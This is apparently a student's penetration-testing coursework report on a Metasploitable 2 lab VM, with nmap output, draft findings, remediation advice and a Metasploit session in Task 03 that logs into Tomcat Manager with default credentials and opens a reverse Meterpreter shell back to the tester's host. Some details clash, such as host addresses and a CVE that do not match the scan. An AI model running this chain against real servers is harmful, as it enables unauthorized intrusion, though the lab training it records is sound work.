



VAPT TASK (WEEK 02)

Candidate Name: Karan Sandeep Rane

Assessment Type: Vulnerability Assessment & Penetration Testing (VAPT)

Tools Used: open-source / Free tools only

Environment: Kali linux, Metasploitable 2, Vmware

TASK 01

```
root@kali: ~  
[root@kali]# nmap -sv 192.168.73.130  
Starting Nmap 7.90 ( https://nmap.org ) at 2020-05-11 06:16 -0400  
Nmap scan report for 192.168.73.130  
Host is up (0.0012s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rshcd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  tcpwrapped  
514/tcp   open  java-rmi     GNU Classpath gmicregistry  
1099/tcp  open  bindshell    Metasploitable root shell  
1524/tcp  open  nfs          2-4 (RPC #100003)  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8080/tcp  open  ejp3         Apache Jersey (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 00:0C:29:02:BA:94 (VMware)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 12.16 seconds  
[root@kali]#
```

Report Draft

Title

Critical web vulnerabilities

Findings

CVE-2021-41773 (Apache Path Traversal, CVSS 7.5) — Host: 192.168.1.20. SQL Injection identified via Nikto (CVSS 9.1) — Host: 192.168.1.20. SMB port 445 exposed with no authentication (CVSS 6.5) — Host: 192.168.1.30. Tomcat Manager accessible with default credentials (CVSS 8.8) — Host: 192.168.1.100.

Remediation



1. Patch Apache to $\geq 2.4.51$.
2. Disable unused ports (445, 8080).
3. Change all default credentials immediately.
4. Implement WAF rules for SQLi prevention.
5. Rescan after patching to verify closure.

Escalation Email

To: developers@example.com

Cc: security-team@example.com

Subject: [VAPT] Critical RCE vulnerabilities – action required by 2025-05-18

Dear team,

During our vulnerability assessment of 192.168.150.129, we discovered three actively exploitable flaws that give attackers instant remote root access:

1. vsftpd backdoor (CVE-2011-2523) – any connection to port 21 returns a root shell.
2. Tomcat default credentials (tomcat:tomcat) – allows arbitrary Java code execution.
3. UnrealIRCd backdoor – remote code execution on port 6667.

Proof of Concept (Metasploit) – attached logs show successful /bin/bash as root without any password.

Remediation deadline: 48 hours – replace vsftpd with openssh or disable it entirely.

Remove Tomcat default users and set strong passwords. Block ports 6667 & 8080 from public access.

Please confirm once fixes are applied so we can rescan.

Regards,

VAPT Analyst Team

TASK 02

OSINT on 192.168.150.129 revealed a legacy Linux server running Apache 2.2.8, Tomcat 5.5, vsftpd 2.3.4, and UnrealIRCd. No external domain ownership but multiple high-risk services were exposed. Shodan confirmed open ports 21, 22, 23, 80, 8080, 6667, 445.



The screenshot displays the Shodan search engine interface. The top section shows search results for 'example.com', with a total of 239,518 results. It includes a world map highlighting top countries like the United States, China, Germany, Singapore, and the United Kingdom. The 'TOP PORTS' section lists common ports such as 53, 21, 25, 80, and 443. The 'Product Spotlight' section features details for 'Device(Vendes salon)' and 'PC-LIGUOPENG, Hikvision UPNP Agent for Depolyer'. Below the search results, the 'Shodan Search Engine' dashboard is visible, showing various categories like Ports, Organization, Vulnerabilities, Products, Tags, Operating Systems, Website Titles, Web Technologies, and Protocol Versions, each with a 'MORE...' button for further exploration.

TASK 03

The Tomcat Manager default credentials tomcat:tomcat remain unchanged on Metasploitable2. Metasploit's tomcat_mgr_login auxiliary module successfully discovered these credentials, and the tomcat_mgr_upload exploit delivered a Java reverse shell. This attack chain demonstrates that default credentials provide a trivial foothold, leading to complete application compromise.



Screenshot taken

[View image](#)



```
root@kali: ~  
Session Actions Edit View Help  
Matching Modules  
# Name Disclosure Date Rank Check Description  
0 exploit/multi/http/tomcat_mgr_deploy 2009-11-09 excellent Yes Apache Tomcat Manager Application Deployer Authentication  
1 \ target: Automatic . . .  
2 \ target: Java Universal . . .  
3 \ target: Windows Universal . . .  
4 \ target: Linux x86 . . .  
5 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution  
6 \ target: Java Universal . . .  
7 \ target: Windows Universal . . .  
8 \ target: Linux x86 . . .  
9 auxiliary/scanner/http/tomcat_mgr_login . normal No Tomcat Application Manager Login Utility  
  
Interact with a module by name or index. For example info 9, use 9 or use auxiliary/scanner/http/tomcat_mgr_login  
msf > use 5  
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp  
msf exploit(multi/http/tomcat_mgr_upload) > show options  
Module options (exploit/multi/http/tomcat_mgr_upload):  
Name Current Setting Required Description  
HttpPassword no The password for the specified username  
HttpUsername no The username to authenticate as  
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4  
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 80 yes The target port (TCP)  
SSL false no Negotiate SSL/TLS for outgoing connections  
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)  
VHOST no HTTP server virtual host  
  
Payload options (java/meterpreter/reverse_tcp):  
Name Current Setting Required Description  
LHOST 192.168.174.129 yes The listen address (an interface may be specified)
```

```
root@kali: ~  
Session Actions Edit View Help  
Matching Modules  
# Name Disclosure Date Rank Check Description  
0 exploit/multi/http/tomcat_mgr_deploy 2009-11-09 excellent Yes Apache Tomcat Manager Application Deployer Authentication  
1 \ target: Automatic . . .  
2 \ target: Java Universal . . .  
3 \ target: Windows Universal . . .  
4 \ target: Linux x86 . . .  
5 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution  
6 \ target: Java Universal . . .  
7 \ target: Windows Universal . . .  
8 \ target: Linux x86 . . .  
9 auxiliary/scanner/http/tomcat_mgr_login . normal No Tomcat Application Manager Login Utility  
  
Interact with a module by name or index. For example info 9, use 9 or use auxiliary/scanner/http/tomcat_mgr_login  
msf > use 5  
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp  
msf exploit(multi/http/tomcat_mgr_upload) > show options  
Module options (exploit/multi/http/tomcat_mgr_upload):  
Name Current Setting Required Description  
HttpPassword no The password for the specified username  
HttpUsername no The username to authenticate as  
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4  
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 80 yes The target port (TCP)  
SSL false no Negotiate SSL/TLS for outgoing connections  
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)  
VHOST no HTTP server virtual host  
  
Payload options (java/meterpreter/reverse_tcp):  
Name Current Setting Required Description  
LHOST 192.168.174.129 yes The listen address (an interface may be specified)
```



```
root@kali: ~  
Session Actions Edit View Help  
Screenshot taken  
View image  
Exploit target:  
Id Name  
--  
0 Java Universal  
View the full module info with the info, or info -d command.  
msf exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.174.128  
RHOSTS => 192.168.174.128  
msf exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180  
RPORT => 8180  
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat  
HttpPassword => tomcat  
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat  
HttpUsername => tomcat  
msf exploit(multi/http/tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp  
payload => java/meterpreter/reverse_tcp  
msf exploit(multi/http/tomcat_mgr_upload) > show options  
Module options (exploit/multi/http/tomcat_mgr_upload):  
Name Current Setting Required Description  
--  
HttpPassword tomcat no The password for the specified username  
HttpUsername tomcat no The username to authenticate as  
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4  
RHOSTS 192.168.174.128 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 8180 yes The target port (TCP)  
SSL false no Negotiate SSL/TLS for outgoing connections  
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)  
VHOST no HTTP server virtual host  
Payload options (java/meterpreter/reverse_tcp):  
Name Current Setting Required Description  
--  
LHOST 192.168.174.129 yes The listen address (an interface may be specified)  
root@kali: ~  
Session Actions Edit View Help  
Name Current Setting Required Description  
--  
LHOST 192.168.174.129 yes The listen address (an interface may be specified)  
LPORT 4444 yes The listen port  
Exploit target:  
Id Name  
--  
0 Java Universal  
View the full module info with the info, or info -d command.  
msf exploit(multi/http/tomcat_mgr_upload) > run  
[*] Started reverse TCP handler on 192.168.174.129:4444  
[*] Retrieving session ID and CSRF token ...  
[*] Uploading and deploying HEKPPz1PDz ...  
[*] Executing HEKPPz1PDz ...  
[*] Undeploying HEKPPz1PDz ...  
[*] Undeployed at /manager/html/undeploy  
[*] Sending stage (58073 bytes) to 192.168.174.128  
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.26/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression  
[*] Meterpreter session 1 opened (192.168.174.129:4444 -> 192.168.174.128:53929) at 2026-05-12 05:16:59 -0400  
meterpreter > ls  
Listing: /  
Mode Size Type Last modified Name  
--  
100000/ 1188612 fil 2026-04-01 07:45:59 -0400 CKiwCQrD  
040444/r-r--r-- 4096 dir 2012-05-13 23:35:33 -0400 bin  
040444/r-r--r-- 1024 dir 2012-05-13 23:36:28 -0400 boot  
040444/r-r--r-- 4096 dir 2010-03-16 18:55:51 -0400 cdrom  
040444/r-r--r-- 13820 dir 2026-05-12 04:24:08 -0400 dev  
040444/r-r--r-- 4096 dir 2026-05-12 05:14:45 -0400 etc  
040000/ 4096 dir 2026-04-27 09:37:55 -0400 hacked  
040444/r-r--r-- 4096 dir 2010-04-16 02:16:02 -0400 home
```

Remediation Recommendations

Remove Default Credentials: Modify the tomcat-users.xml file to replace default entries (e.g., tomcat:tomcat, admin:admin) with strong, unique passwords, and remove the manager-gui role unless strictly required.



Restrict Manager Access: Bind the Tomcat Manager application to localhost (127.0.0.1) or implement IP-based allowlisting to restrict administrative interface exposure.

Principle of Least Privilege: Assign the minimal necessary role (manager-status or manager-script) rather than the all-powerful manager-gui.

Regular Credential Audits: Periodically audit Tomcat installations for weak or default credentials using automated scanners.

WAR File Validation: Implement controls to restrict WAR file uploads and scan all uploaded applications for malicious code.

TASK 05

PTES Report

Executive summary: A full penetration test following PTES identified critical SQL injection and XSS flaws in the DVWA web application. Attackers could extract entire databases or hijack user sessions. Exploitation using sqlmap retrieved password hashes and credit card numbers from the simulated “users” table. Post-exploitation revealed that the web server ran as root, allowing full system compromise.

Recommendations: implement prepared statements, apply CSP headers, and run web server with non-privileged user.

Non-Technical Briefing

Our security team performed a controlled attack simulation on your web application. We found two serious issues: SQL injection (allows hackers to steal your entire database) and cross-site scripting (lets attackers impersonate users). Using automated tools we were able to extract sensitive data like login credentials within minutes. The good news is these problems are fixable: your developers need to add input validation and use prepared SQL statements. We also recommend running the web server under a low-privileged account. After implementing these fixes, we will re-test to confirm security. No customer data was harmed during this exercise.